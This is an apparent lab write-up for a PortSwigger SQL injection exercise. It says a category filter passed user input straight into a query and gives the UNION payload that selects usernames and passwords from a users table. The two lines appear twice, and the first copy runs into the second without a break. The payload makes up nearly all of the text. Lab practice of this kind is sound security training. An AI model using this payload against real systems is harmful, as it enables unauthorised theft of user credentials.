PortSwigger lab: SQL injection UNION attack, retrieving data from other tables
The category filter put user input straight into a query.
' UNION SELECT username, password FROM users--The category filter put user input straight into a query.
' UNION SELECT username, password FROM users--